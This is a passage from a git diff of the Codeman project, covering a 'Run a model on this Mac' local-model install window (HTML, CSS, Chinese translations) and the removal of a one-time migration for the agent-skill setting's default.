as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `<html lang>` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "RecoLine truncated
**Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order)
**Welcome "Resume Conversation" list** (terminal-ui.js): `loadHistorySessions()` fetches once and caches the corpus on `_historyAll`/`_historyCases`; every subsequent view (filter box, sort select, expand, the periodic refresh in panels-ui.js) goes through `_renderHistoryList()`, so never append rows to `#historyList` directly or re-fetch to re-sort. ⚠️ The box height is **class-driven**: expanding the list without `.history-list.expanded` leaves the collapsed `max-height` in place and just deepens a scroll well, which is the bug #260 reported (35 sessions in a ~4-row box). ⚠️ The A–Z sort keys off `_historyRowLabel()`, the SAME string the row renders (`name || firstPrompt || path`), most rows are transcript-backed and have no session name, so sorting on `name` alone silently does nothing. ⚠️ A filter implies expansion, and `_renderSearch()` hides `#historyHeader` (title + controls) as one unit while a search is active. Tests: `test/history-list-controls.test.ts`.
-110
View File
@@ -1,110 +0,0 @@
/**
* @fileoverview One-time boot migration that lets the 1.50.0 agent skill default reach installs
* that saved App Settings before it.
*
* `agentSkillEnabled` is ON by default since 1.50.0 (an absent key is on, only an explicit false
* is off). Up to 1.49.0 the App Settings switch loaded an absent key as off (`?? false`) and Save
* sends the whole form, so every install whose App Settings were ever saved holds an explicit
* `false` the user may never have chosen, and the new default would never reach it. On the first
* start of a server that has this module, a stored `false` is switched on, exactly once per data
* dir. It cannot tell a deliberate off from the old default; that is accepted and stated as a
* behaviour change in the release notes. An off set after this ran is never touched again.
*
* Why a stored `false` becomes `true` rather than being deleted: deleting it would not reach the
* page. Every browser that saved App Settings keeps the form in its localStorage blob, and
* `loadAppSettingsFromServer()` only overwrites a synced key the server HAS: a key the server
* lacks keeps the device's `false`, the switch loads off, and the next Save of any setting writes
* `false` back (measured with the real page code in the JSDOM harness of
* test/agent-skill-setting-ui.test.ts, which pins the shipped shape). A stored `true` wins on
* every device, including a browser still running a cached settings-ui.js from before the upgrade.
* Every reader treats `true` and an absent key alike (`!== false`).
*
* Why the "done" marker is its own file (`agent-skill-default-migrated.json` in the data dir)
* and not a key in settings.json:
* - it is not a setting, so `GET /api/settings` never returns it, the page never holds it, and
* the page's Save (rebuilt from the form) can neither send it back nor drop it; the `.strict()`
* `SettingsUpdateSchema` never sees it;
* - a PUT or any other settings.json writer cannot erase it, which would re-arm the migration and
* switch a deliberate later off back on;
* - it is not in `CONFIG_BACKUP_FILES` (like `config-backup-id`), so a restore leaves it alone:
* once the migration has run, a restored settings.json, even one from before 1.50.0 holding
* `false`, is what the user asked for and stays as restored.
* A data dir is one instance, and settings.json is one file for the whole server, so in
* multi-user mode this runs once for the server, never per user.
*
* Order: the marker is checked first (present: nothing is read), the settings change goes through
* `mutateSettingsFile()` (serialized, atomic, refuses a file that does not parse), and the marker
* is written only after that resolves. A refused or failed settings write writes no marker, so the
* migration runs again at the next start (after the user fixed the file). Until then it has not
* run, so an off saved after the fix and before that start is switched on with the rest: the same
* "cannot tell" trade as above, in a window that needs an unparseable settings.json at the first
* 1.50.0 start. A crash between the two writes is harmless: the next start finds `true` (nothing
* to change) and writes the marker.
*
* Called once from `WebServer.start()`, before the first settings read and before the server
* listens, so no request path can see the old value.
*/
import fs from 'node:fs/promises';
import { dirname } from 'node:path';
import { dataPath } from '../config/instance.js';
import { getErrorMessage } from '../types.js';
import { mutateSettingsFile, SettingsWriteRefusedError } from './settings-writer.js';
/** The marker's file name in the data dir. Never in CONFIG_BACKUP_FILES (see the file comment). */
export const AGENT_SKILL_DEFAULT_MARKER = 'agent-skill-default-migrated.json';
/**
* - `switched-on`: settings.json held `agentSkillEnabled: false`; it now holds `true`.
* - `nothing-to-change`: the key was absent or not `false` (or there is no settings.json); nothing was written to it.
* - `already-done`: the marker exists; settings.json was not read.
* - `refused`: settings.json could not be read, parsed or written, or the marker could not be checked.
* Nothing changed and no marker was written, so the next start tries again.
*/
export type AgentSkillDefaultMigration = 'switched-on' | 'nothing-to-change' | 'already-done' | 'refused';
/** The log line of a migration that switched the skill on. */
export const AGENT_SKILL_DEFAULT_MIGRATED_LOG =
'[agent-skill] switched on the off stored before 1.50.0, so the new default applies (turn it off again under App Settings, Agents & CLIs, Codeman Agent Skill; that choice is kept)';
export async function migrateAgentSkillDefault(
markerPath: string = dataPath(AGENT_SKILL_DEFAULT_MARKER)
): Promise<AgentSkillDefaultMigration> {
try {
await fs.lstat(markerPath);
return 'already-done';
} catch (err) {
if ((err as NodeJS.ErrnoException).code !== 'ENOENT') {
// Not knowing whether it ran must not switch a deliberate off on a second time.
console.warn(`[agent-skill] default migration skipped: cannot check ${markerPath} (${getErrorMessage(err)})`);
return 'refused';
}
}
let switched = false;
try {
await mutateSettingsFile((current) => {
if (current.agentSkillEnabled !== false) return undefined;
switched = true;
return { ...current, agentSkillEnabled: true };
});
} catch (err) {
// A refusal is already logged by the writer (`[settings] write refused: ...`), with the fix.
const why = err instanceof SettingsWriteRefusedError ? 'settings.json was left as it is' : getErrorMessage(err);
console.warn(`[agent-skill] default migration skipped (${why}); it runs again at the next start`);
return 'refused';
}
try {
await fs.mkdir(dirname(markerPath), { recursive: true });
const marker = { migratedAt: new Date().toISOString(), switchedOn: switched };
await fs.writeFile(markerPath, `${JSON.stringify(marker, null, 2)}\n`, { mode: 0o600 });
} catch (err) {
// settings.json is already right; without the marker the next start runs again, which
// changes nothing unless the user has switched it off by then.
console.warn(`[agent-skill] could not record the default migration at ${markerPath}: ${getErrorMessage(err)}`);
}
if (switched) console.log(AGENT_SKILL_DEFAULT_MIGRATED_LOG);
return switched ? 'switched-on' : 'nothing-to-change';
}
+1 -1
View File
@@ -17,7 +17,7 @@ export interface ConfigPort {
getModelConfig(): Promise<{ defaultModel?: string; agentTypeOverrides?: Record<string, string> } | null>;
getClaudeModeConfig(): Promise<{ claudeMode?: ClaudeMode; allowedTools?: string }>;
getTerminalHistoryConfig(): Promise<TerminalHistoryConfig>;
/** Synced `agentSkillEnabled` app setting (default ON, only an explicit false is off); gates per-case agent-skill injection. */
/** Synced `agentSkillEnabled` app setting (default OFF); gates per-case agent-skill injection. */
getAgentSkillEnabled(): Promise<boolean>;
/** Synced `workspaceHooksEnabled` app setting (default ON); gates INSTALLING hooks into a session's workspace. */
getWorkspaceHooksEnabled(): Promise<boolean>;
+6
View File
@@ -1468,6 +1468,12 @@ class CodemanApp {
this.handleTabRailSearchKeydown(e);
return;
}
// The local model window can sit on top of App Settings (it opens from a
// row there): Escape closes the window alone and leaves Settings open.
if (this.isLocalModelWindowOpen?.()) {
this.closeLocalModelWindow();
return;
}
this.closeAllPanels();
this.closeHelp();
if (this.attachmentHistoryDrawerOpen) this.closeAttachmentHistory();
+185
View File
@@ -1407,6 +1407,191 @@
'该 tmux 会话在此处打开时所在的位置。它是在 Codeman 之外启动的,关闭此标签页后仍会继续运行。',
'Git status is not available for a tmux session opened outside Codeman.':
'在 Codeman 之外打开的 tmux 会话无法使用 Git 状态。',
// Run a model on this Mac (local-model-ui.js: the welcome button, the chooser window and its
// App Settings group). The first block is the page's and the module's own text; sizes and
// names fill the {placeholder} slots.
'Model on this Mac': '此 Mac 上的模型',
'Run a coding model on the Mac that Codeman runs on. No account and no API key.':
'在运行 {name} 的这台 Mac 上运行编程模型。无需账号,也无需 API 密钥。',
'Run a model on this Mac': '在此 Mac 上运行模型',
'Run a local model': '运行本地模型',
'Local model': '本地模型',
'The Mac that Codeman runs on, which is not always the device you are reading on.':
'指运行 {name} 的那台 Mac,不一定是你正在使用的这台设备。',
'{chip}, {memory} GB memory, {free} GB free': '{chip},内存 {memory} GB,可用磁盘空间 {free} GB',
'{chip}, {memory} GB memory': '{chip},内存 {memory} GB',
'{memory} GB memory, {free} GB free': '内存 {memory} GB,可用磁盘空间 {free} GB',
'{memory} GB memory': '内存 {memory} GB',
// The App Settings row: where the install stands, in a few words.
'No model installed': '尚未安装模型',
'Installing {model}': '正在安装 {model}',
'The install of {model} is paused': '{model} 的安装已暂停',
'The install of {model} stopped': '{model} 的安装已中止',
'{model} is running': '{model} 正在运行',
'{model} is installed and stopped': '{model} 已安装,当前已停止',
'Checking this Mac': '正在检查此 Mac',
// The chooser: the memory bar, the list, the coding agent.
'About {need} of {budget} GB of memory': '约需 {need} GB 内存,共 {budget} GB 可用',
estimated: '估算',
'The selected model needs {share}% of the memory this Mac can give a model':
'所选模型需要此 Mac 可分配给模型的内存的 {share}%',
'The model': '模型',
'Context, {context} tokens': '上下文,{context} 个 Token',
'Brief peaks': '短时峰值',
'Stays free': '剩余可用',
'Good fit': '宽裕',
'Tight fit': '偏紧',
'Models that fit this Mac': '此 Mac 装得下的模型',
Speed: '速度',
Download: '下载',
'speed not known': '速度未知',
'{speed} tokens/s': '{speed} Token/秒',
'about {speed} tokens/s': '约 {speed} Token/秒',
'Runs with': '搭配',
'Not on this Mac yet. Codeman installs it for you.': '此 Mac 上尚未安装,{name} 会为你一并安装。',
'The first answer can take minutes.': '第一次回答可能需要几分钟。',
'No account and no API key. The model runs only on this Mac.': '无需账号,也无需 API 密钥。模型只在此 Mac 上运行。',
'Install on this Mac': '安装到此 Mac',
// The confirm screen: the download as a table, where it goes.
'What will be downloaded': '将下载的内容',
'At {context} tokens of context, with {cli}': '上下文 {context} 个 Token,搭配 {cli}',
'Ollama {version}': 'Ollama {version}',
'The program that runs the model': '用于运行模型的程序',
Total: '合计',
'Not on this Mac yet. Its own installer fetches it with this command:':
'此 Mac 上尚未安装。它自带的安装程序会用以下命令获取它:',
'Not on this Mac yet. Its own installer fetches it.': '此 Mac 上尚未安装。它自带的安装程序会获取它。',
'Goes into': '存放位置:',
'No administrator password.': '无需管理员密码。',
'Download and install': '下载并安装',
// Progress, and the same picture paused.
'{done} of {total} GB': '已下载 {done} GB,共 {total} GB',
'{speed} MB per second, {left}': '每秒 {speed} MB,{left}',
'{speed} MB per second': '每秒 {speed} MB',
'less than a minute left': '剩余不到 1 分钟',
'about 1 minute left': '剩余约 1 分钟',
'about {minutes} minutes left': '剩余约 {minutes} 分钟',
'about 1 hour left': '剩余约 1 小时',
'about {hours} hours left': '剩余约 {hours} 小时',
'Getting the runtime': '获取运行时',
'Downloading the model': '下载模型',
'Loading and checking': '加载并检查',
'Installing {cli}': '安装 {cli}',
Connecting: '正在连接',
'Download of the model': '模型下载进度',
'0 of {total} GB': '已下载 0 GB,共 {total} GB',
'You can close this window. The download continues while Codeman is running.':
'你可以关闭此窗口。只要 {name} 在运行,下载就会继续。',
'You can close this window. The install continues while Codeman is running.':
'你可以关闭此窗口。只要 {name} 在运行,安装就会继续。',
'The download waits until you continue.': '下载会等你点击继续后再进行。',
'The install waits until you continue.': '安装会等你点击继续后再进行。',
Continue: '继续',
'Choose another model': '选择其他模型',
// After an error: the one action that helps.
'Use another port': '改用其他端口',
'Try {model}': '试试 {model}',
Start: '启动',
'The server did not accept that.': '服务器未接受该请求。',
// Installed, and the Remove question.
'{model} is ready on this Mac.': '{model} 已在此 Mac 上准备就绪。',
'{model} is installed on this Mac.': '{model} 已安装在此 Mac 上。',
'Runs with {cli}.': '搭配 {cli} 运行。',
'Context {context} tokens.': '上下文 {context} 个 Token。',
'Takes {memory} GB of memory now, and up to about {peak} GB at its peak, with all of the context in use.':
'目前占用 {memory} GB 内存;上下文全部用满时,峰值约为 {peak} GB。',
'Takes {memory} GB of memory now.': '目前占用 {memory} GB 内存。',
'All of it is on the GPU.': '全部位于 GPU 上。',
'Start a session': '开始会话',
'Remove the local model from this Mac?': '要从此 Mac 移除本地模型吗?',
'Also delete the downloaded model': '同时删除已下载的模型',
'The coding agent stays installed.': '编程智能体会保留,不会被卸载。',
// The sentences and labels the SERVER picks (LOCAL_MODEL_LABELS in src/types/local-model.ts), keyed
// by their exact English text: changing a text there means changing its key here.
'Best fit for this Mac': '最适合此 Mac 的选择',
'Recommended for this Mac': '为此 Mac 推荐',
'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.':
'此 Mac 可以运行小型模型。它能处理小幅修改和问答,但不能替代云端模型。',
'Codeman has not run this on a Mac like this yet.': '{name} 尚未在同类 Mac 上运行过它。',
'The best fit is a small model. It handles small edits and questions. It does not replace a cloud model.':
'最适合的是一个小型模型。它能处理小幅修改和问答,但不能替代云端模型。',
'{model} fits the memory of this Mac too, but its download needs about {missing} GB more free disk space.':
'{model} 也能装入此 Mac 的内存,但下载它还需要再腾出约 {missing} GB 的可用磁盘空间。',
Good: '良好',
Tight: '偏紧',
Slow: '较慢',
'Speed unknown': '速度未知',
'Codeman recommends a local model only on a Mac with Apple silicon.':
'{name} 仅在搭载 Apple 芯片的 Mac 上推荐本地模型。',
'Local coding models need Apple silicon, and this Mac has an Intel processor.':
'本地编程模型需要 Apple 芯片,而此 Mac 使用的是 Intel 处理器。',
'With {memory} GB of memory, this Mac cannot run a model that can drive a coding agent.':
'此 Mac 只有 {memory} GB 内存,无法运行能够驱动编程智能体的模型。',
'This Mac can give a model about {budget} GB of memory, and the smallest model a coding agent can work with needs about {need} GB.':
'此 Mac 可分配给模型的内存约为 {budget} GB,而编程智能体能够使用的最小模型约需 {need} GB。',
'Codeman could not read how much memory this Mac has, so it recommends no model here.':
'{name} 无法读取此 Mac 的内存大小,因此在此不推荐任何模型。',
'Free up about {missing} GB of disk space to install the smallest model that fits this Mac.':
'请腾出约 {missing} GB 磁盘空间,以便安装适合此 Mac 的最小模型。',
'Local models need macOS {minimum} or newer, and this Mac runs macOS {version}.':
'本地模型需要 macOS {minimum} 或更高版本,而此 Mac 运行的是 macOS {version}。',
'No coding agent that Codeman can connect to a local model is available on this Mac.':
'此 Mac 上没有 {name} 可以连接到本地模型的编程智能体。',
// The tag of a model row (LOCAL_MODEL_TAG_LABELS in src/types/local-model.ts). Tight and Slow are
// the entries above.
'Tested on a Mac like this': '已在同类 Mac 上测试',
'Best fit': '最适合',
'Best fit, tight': '最适合,内存偏紧',
'Small model': '小型模型',
// The sentences of the install (LOCAL_MODEL_INSTALL_LABELS in src/types/local-model-install.ts):
// why a job stopped, why a request was refused, and the one sentence about the developer tools.
'The download of the runtime stopped and could not be continued. Check the network connection, then try again.':
'运行时的下载已中断,且无法继续。请检查网络连接,然后重试。',
'The runtime download was damaged and has been deleted. Try again.': '下载的运行时已损坏,已被删除。请重试。',
'The runtime could not be unpacked on this Mac.': '无法在此 Mac 上解压运行时。',
'The runtime did not start on this Mac.': '运行时未能在此 Mac 上启动。',
'The runtime keeps stopping, so Codeman no longer restarts it.': '运行时反复停止,因此 {name} 不再重新启动它。',
'The model on this Mac is not running. Start it first.': '此 Mac 上的模型没有在运行。请先启动它。',
'Port {port} is in use by another program.': '端口 {port} 已被其他程序占用。',
'The disk is full. Free up space, then try again.': '磁盘已满。请腾出空间,然后重试。',
'The download keeps stopping. The network may be damaging data. Try again or use another network.':
'下载反复中断。网络可能正在损坏数据。请重试,或换一个网络。',
'{model} is no longer offered under this name. Update Codeman or pick another model.':
'{model} 已不再以此名称提供。请更新 {name},或选择其他模型。',
'{model} does not fit in the memory of this Mac after all.': '{model} 终究装不进此 Mac 的内存。',
'{model} loaded with a context of {actual} tokens instead of {wanted}.':
'{model} 加载时的上下文为 {actual} 个 Token,而不是 {wanted} 个。',
'{model} did not load on this Mac.': '{model} 未能在此 Mac 上加载。',
'{model} loaded but did not call a tool, so a coding agent cannot work with it.':
'{model} 已加载,但没有调用工具,因此编程智能体无法使用它。',
'The check of {model} did not finish.': '对 {model} 的检查没有完成。',
'{cli} could not be installed.': '无法安装 {cli}。',
'A saved model connection named {id} already exists and was not created here. Rename or delete it in App Settings, then try again.':
'已存在名为 {id} 的已保存模型连接,而它不是在这里创建的。请在“应用设置”中重命名或删除它,然后重试。',
'Codeman could not save the connection to the model.': '{name} 无法保存与模型的连接。',
'The model on this Mac changed since it was installed. Remove it and install it again.':
'此 Mac 上的模型在安装后发生了变化。请移除后重新安装。',
'The install stopped on an unexpected error.': '安装因意外错误而中止。',
'An install is already running.': '已有一个安装正在进行。',
'A model is already installed on this Mac. Remove it first.': '此 Mac 上已安装了一个模型。请先移除它。',
'The download is {size} GB now. Check the sizes and confirm again.':
'现在的下载大小为 {size} GB。请核对大小后再次确认。',
'Sessions are still using this model: {sessions}. Close them first.':
'仍有会话在使用此模型:{sessions}。请先关闭它们。',
'That is not possible in the current state.': '当前状态下无法执行此操作。',
'This model at this context is not offered for this Mac right now.':
'目前不为此 Mac 提供这一上下文大小下的该模型。',
'This coding agent is not offered for this model.': '该模型不提供这个编程智能体。',
'{cli} is not installed and cannot be installed from here.': '{cli} 尚未安装,也无法从这里安装。',
'Only {model} is installed on this Mac. Remove it and install another model first.':
'此 Mac 上只安装了 {model}。请先移除它,再安装其他模型。',
// What the endpoint routes answer for the record of the model on this Mac (shown as a toast).
'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.':
'此端点属于 {name} 在此 Mac 上运行的模型。请在本地模型窗口中更改或移除它。',
'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.':
'此端点标识已保留给 {name} 在此 Mac 上运行的模型。请换一个标识。',
'Coding agents use git and Python. This Mac has no developer tools yet, so macOS will offer to install them the first time an agent needs one.':
'编程智能体会用到 git 和 Python。此 Mac 尚未安装开发者工具,因此在智能体首次需要时,macOS 会提示安装。',
});
const ZH_CN_LOWER = new Map(Object.entries(ZH_CN).map(([key, value]) => [key.toLocaleLowerCase('en'), value]));
+56 -1
View File
@@ -510,6 +510,17 @@
it sits under them as a quiet link; settings-ui.js rewrites its
contents on every state change and owns its inline display. -->
<div class="welcome-actions">
<!-- A model that runs on the Mac the server runs on (local-model-ui.js).
The first thing on the start screen, above the launchers, in the size of
the primary button. A sibling of the launcher slot and never inside it (renderWelcomeCliActions empties that slot on every
state change). Ships `hidden`: only that module reveals it, once the
server has answered for a Mac. It opens the chooser window
(#localModelModal) and the module writes its label through its own
translator call, hence data-i18n-skip. -->
<button type="button" class="welcome-chip welcome-local-model" id="welcomeLocalModelBtn" data-i18n-skip hidden onclick="app.openLocalModelWindow()">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><rect x="6" y="6" width="12" height="12" rx="2"/><path d="M9.5 2.5v3.5M14.5 2.5v3.5M9.5 18v3.5M14.5 18v3.5M2.5 9.5H6M2.5 14.5H6M18 9.5h3.5M18 14.5h3.5"/></svg>
<span class="welcome-label" id="welcomeLocalModelLabel">Run a local model</span>
</button>
<div class="welcome-cli-actions" id="welcomeCliActions"></div>
<button type="button" class="welcome-tunnel-link" id="welcomeTunnelBtn" style="display: none;" onclick="app.toggleTunnelFromWelcome()">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 2L2 7l10 5 10-5-10-5z"/><path d="M2 17l10 5 10-5"/><path d="M2 12l10 5 10-5"/></svg>
@@ -2867,6 +2878,28 @@
</div>
</div>
</div>
<!-- The model that runs on the Mac the server runs on (local-model-ui.js). One row:
the state in a few words, written by the module from GET /api/local-model
through its own translator call (hence data-i18n-skip on the text and on the
button), and a button that opens the chooser window (#localModelModal), where
everything happens. The module shows the group only once the server has
answered for a Mac: it hides it for a server on another system (the title
and hint are about "this Mac"), while the first request is in flight, and
for a non-admin in multi-user mode (the routes are admin-only). Not gated on
the endpoints toggle above: an install switches that on itself. -->
<div class="set-group" id="localModelGroup">
<div class="set-group-head"><h4>Model on this Mac</h4></div>
<p class="set-group-hint">Run a coding model on the Mac that Codeman runs on. No account and no API key.</p>
<div class="set-group-body">
<div class="set-row" data-search="local model mac apple silicon memory llm offline install download ollama">
<div class="set-row-text" id="localModelSettings" data-i18n-skip aria-live="polite"></div>
<div class="set-row-actions">
<button type="button" class="btn-toolbar btn-sm" id="localModelSettingsOpen" data-i18n-skip onclick="app.openLocalModelWindow()">Open</button>
</div>
</div>
</div>
</div>
</section>
<!-- ══ Agents &amp; CLIs ═════════════════════════════════════════ -->
@@ -2941,7 +2974,7 @@
<div class="set-row" data-search="agent skill codeman api workers codex gemini opencode pi grok deepseek omp antigravity">
<div class="set-row-text">
<span class="set-row-label">Codeman Agent Skill</span>
<span class="set-row-desc">Write Codeman's agent skill into each new session's folder, where that CLI looks for skills, so the agent in it can start workers in any installed CLI, send them prompts and wait for results. Every CLI except Pi, GitHub Copilot and a plain shell. On by default. The copy ignores itself in git, so your repository never lists it as a new file. Off stops new copies but removes none: <code>codeman skill uninstall --case &lt;name&gt;</code> does that.</span>
<span class="set-row-desc">Write Codeman's agent skill into each new session's folder, where that CLI looks for skills, so the agent in it can start workers in any installed CLI, send them prompts and wait for results. Every CLI except Pi and a plain shell.</span>
</div>
<label class="switch switch-sm"><input type="checkbox" id="appSettingsAgentSkill"><span class="slider"></span></label>
</div>
@@ -3645,6 +3678,27 @@
</div>
</div>
<!-- The local model window (local-model-ui.js): choose a model, confirm the sizes,
watch the download, start a session. Opened by the welcome button and by the
row in App Settings > Models; placed AFTER #appSettingsModal so it stacks above
it when opened from there. The module fills the body from GET /api/local-model
through its own translator call (model, agent and chip names are someone
else's text), hence data-i18n-skip on the body; the title and the close button
are static and go through the page translator. -->
<div class="modal" id="localModelModal" role="dialog" aria-modal="true" aria-labelledby="localModelModalTitle">
<div class="modal-backdrop" onclick="app.closeLocalModelWindow()"></div>
<div class="modal-content local-model-window">
<div class="modal-header">
<h3 id="localModelModalTitle">Run a model on this Mac</h3>
<button class="modal-close" onclick="app.closeLocalModelWindow()" aria-label="Close">&times;</button>
</div>
<div class="modal-body lm-body" id="localModelWindowBody" data-i18n-skip></div>
<!-- The buttons of the current screen. Outside the body, so they keep their
place while the body changes and scrolls. -->
<div class="lm-foot-slot" id="localModelWindowFoot" data-i18n-skip></div>
</div>
</div>
<!-- Shortcut Overlay Modal -->
<div class="modal shortcut-overlay-modal" id="shortcutOverlayModal" tabindex="-1">
<div class="modal-backdrop" onclick="app.closeShortcutOverlay()"></div>
@@ -4685,6 +4739,7 @@
<script defer src="foreign-sessions.js"></script>
<script defer src="git-status-ui.js"></script>
<script defer src="edit-history-ui.js"></script>
<script defer src="local-model-ui.js"></script>
<script defer src="entrance-animations.js"></script>
<script defer src="ralph-wizard.js"></script>
<script defer src="api-client.js"></script>
File diff suppressed because it is too large. Load diff
+100
View File
@@ -1857,6 +1857,41 @@ html.mobile-init .file-browser-panel {
margin-top: 0.75rem;
}
/* Run a model on this Mac (local-model-ui.js). The welcome button is only
reached with the phone overview switched off; it takes the chips' finger
size from `.welcome-chip` above. The window is full-screen like every
modal here: its own width rule in styles.css is more specific than the
full-screen `.modal-content` rule above, so the size is restated. */
.modal-content.local-model-window {
width: 100%;
max-width: 100%;
height: 100%;
max-height: 100%;
}
.local-model-window > .lm-body {
padding: 1rem;
}
/* The window fills the screen, so its actions sit at the bottom, under the thumb. */
.local-model-window > .lm-foot-slot {
padding: 0 1rem calc(1rem + var(--safe-area-bottom));
}
/* The short screens (progress, paused, a failure, installed, nothing fits)
hold a few lines. On a screen this tall they sit right above the buttons,
where the eye and the thumb already are, not at the top with half a
screen of nothing between the two. */
.local-model-window > .lm-body:is(
[data-screen='progress'],
[data-screen='paused'],
[data-screen='failed'],
[data-screen='installed'],
[data-screen='none']
) {
justify-content: flex-end;
}
/* Ralph wizard responsive */
.modal-wizard {
display: flex;
@@ -4261,3 +4296,68 @@ html[data-session-list="sidebar"] .session-sidebar .session-tab .tab-close {
touch-action: pan-x pan-y;
}
}
/* Run a model on this Mac (local-model-ui.js), under 560px: each model row
becomes two lines (name and tag, then speed and download size), the bar
stays full width and the buttons go full width under the foot's sentence. */
@media (max-width: 559px) {
.lm-list {
grid-template-columns: auto minmax(0, 1fr) auto;
column-gap: 0.7rem;
}
.lm-caption-speed,
.lm-caption-size {
display: none;
}
.lm-model {
row-gap: 0.1rem;
padding-top: 0.5rem;
padding-bottom: 0.5rem;
}
.lm-radio {
grid-row: 1;
grid-column: 1;
}
.lm-model-name {
grid-row: 1;
grid-column: 2;
}
.lm-model-tag {
grid-row: 1;
grid-column: 3;
justify-content: flex-end;
}
.lm-model-speed {
grid-row: 2;
grid-column: 2;
text-align: start;
}
.lm-model-size {
grid-row: 2;
grid-column: 3;
}
.lm-foot {
flex-direction: column;
align-items: stretch;
gap: 0.8rem;
}
/* The main action on top, the way back under it. */
.lm-buttons {
flex-direction: column-reverse;
margin-inline-start: 0;
}
.local-model-window .wt-btn.lm-btn {
min-height: 44px;
font-size: 0.88rem;
}
}
+2
View File
@@ -40,6 +40,8 @@ function rebootSkipReason(reason) {
return 'already open';
case 'capacity-reached':
return 'session limit reached';
case 'local-model-not-ready':
return 'the local model is not ready';
case 'rebuild-failed':
return 'the agent would not start';
default:
+5 -10
View File
@@ -550,6 +550,10 @@ Object.assign(CodemanApp.prototype, {
// Assigning .checked above does not fire onchange, so the body's visibility
// (and its lazy load) needs an explicit sync on every open, not just a save.
this.applyCustomModelEndpointsVisibility();
// Model on this Mac (local-model-ui.js): a row that says where the local model stands and
// opens its window, not a setting. Server state, asked for at most once a minute; nothing
// here is loaded or saved by id.
this.loadLocalModel?.();
// CLI management (docs/cli-enable-disable-plan.md): synced, default OFF.
document.getElementById('appSettingsCliManagement').checked = settings.cliManagementEnabled === true;
// Same reasoning as applyCustomModelEndpointsVisibility above: assigning
@@ -707,9 +711,7 @@ Object.assign(CodemanApp.prototype, {
this._applyCodexSettingsVisibility();
// Claude Permissions settings
document.getElementById('appSettingsAgentTeams').checked = settings.agentTeamsEnabled ?? false;
// Default ON (since 1.50.0), like the workspace hooks below: the server reads an
// absent key as on, so the switch must too, or the next Save would write false.
document.getElementById('appSettingsAgentSkill').checked = settings.agentSkillEnabled !== false;
document.getElementById('appSettingsAgentSkill').checked = settings.agentSkillEnabled ?? false;
// Default ON: an absent key is a user who has never seen this setting, and OFF
// for them means no tab alerts in any workspace Codeman did not scaffold.
document.getElementById('appSettingsWorkspaceHooks').checked = settings.workspaceHooksEnabled !== false;
@@ -5268,13 +5270,6 @@ Object.assign(CodemanApp.prototype, {
merged[key] = value;
}
}
// The agent skill is a synced key that is ON when absent (since 1.50.0). A server
// without the key means that default, so this device's own copy goes rather than
// standing in for it: up to 1.49.0 the switch loaded an absent key as off, so a
// device whose save never reached the server still holds `false`, and its next
// Save would write it back. The server's one-time boot migration stores `true` for
// installs that had saved `false` (agent-skill-default-migration.ts).
if (!('agentSkillEnabled' in appSettings)) delete merged.agentSkillEnabled;
this.saveAppSettingsToStorage(merged);
// Apply notification prefs from server if present (only if localStorage has none)
File diff suppressed because it is too large. Load diff
+4
View File
@@ -2964,6 +2964,10 @@ Object.assign(CodemanApp.prototype, {
// up (stopped in hideWelcome), see foreign-sessions.js.
this.wireForeignSessions?.();
this.startForeignPolling?.();
// The "Run a local model" button (local-model-ui.js). One request, at most
// once a minute, no timer here: only its open window polls, and closing
// that window stops it, so there is nothing to stop in hideWelcome.
this.loadLocalModel?.();
}
// Home screen has no input target — hide the CJK textarea (activeSessionId
// is null by the time we get here). Guarded: defined on the app object.
+19 -212
View File
@@ -29,13 +29,8 @@
* write path (`registry-writer.ts` mirrors `custom-model-hosts.ts`).
*/
import { execFile, spawn } from 'node:child_process';
import { constants as fsConstants } from 'node:fs';
import { access } from 'node:fs/promises';
import { dirname, join } from 'node:path';
import { promisify } from 'node:util';
import type { FastifyInstance, FastifyRequest } from 'fastify';
import { ApiErrorCode, createErrorResponse, getErrorMessage, type ApiResponse } from '../../types.js';
import { ApiErrorCode, createErrorResponse, type ApiResponse } from '../../types.js';
import { getAuthUser, isAdmin, parseBody, readJsonConfig, SETTINGS_PATH } from '../route-helpers.js';
import { isMultiUserMode } from '../../config/multiuser.js';
import { listClis, resolveInstallCommandForPlatform } from '../../config/cli-registry/registry.js';
@@ -45,9 +40,18 @@ import { STOCK_CLIS } from '../../config/cli-registry/stock.js';
import type { CliEntry } from '../../config/cli-registry/types.js';
import { CliCustomEntrySchema, CliEnableSchema } from '../schemas.js';
import { appendAdminAudit } from '../admin-audit.js';
import { invalidateCliExecutableResolvers } from '../../utils/cli-executable-resolver.js';
import { invalidateCliResolverCache } from '../../utils/cli-resolver.js';
import { isCliEntryInstalled, probeStockCliAvailability } from '../../utils/cli-installed-probes.js';
import {
CLI_INSTALL_TIMEOUT_MS,
forgetResolvedCli,
runInstallCommand,
tryBeginCliInstall,
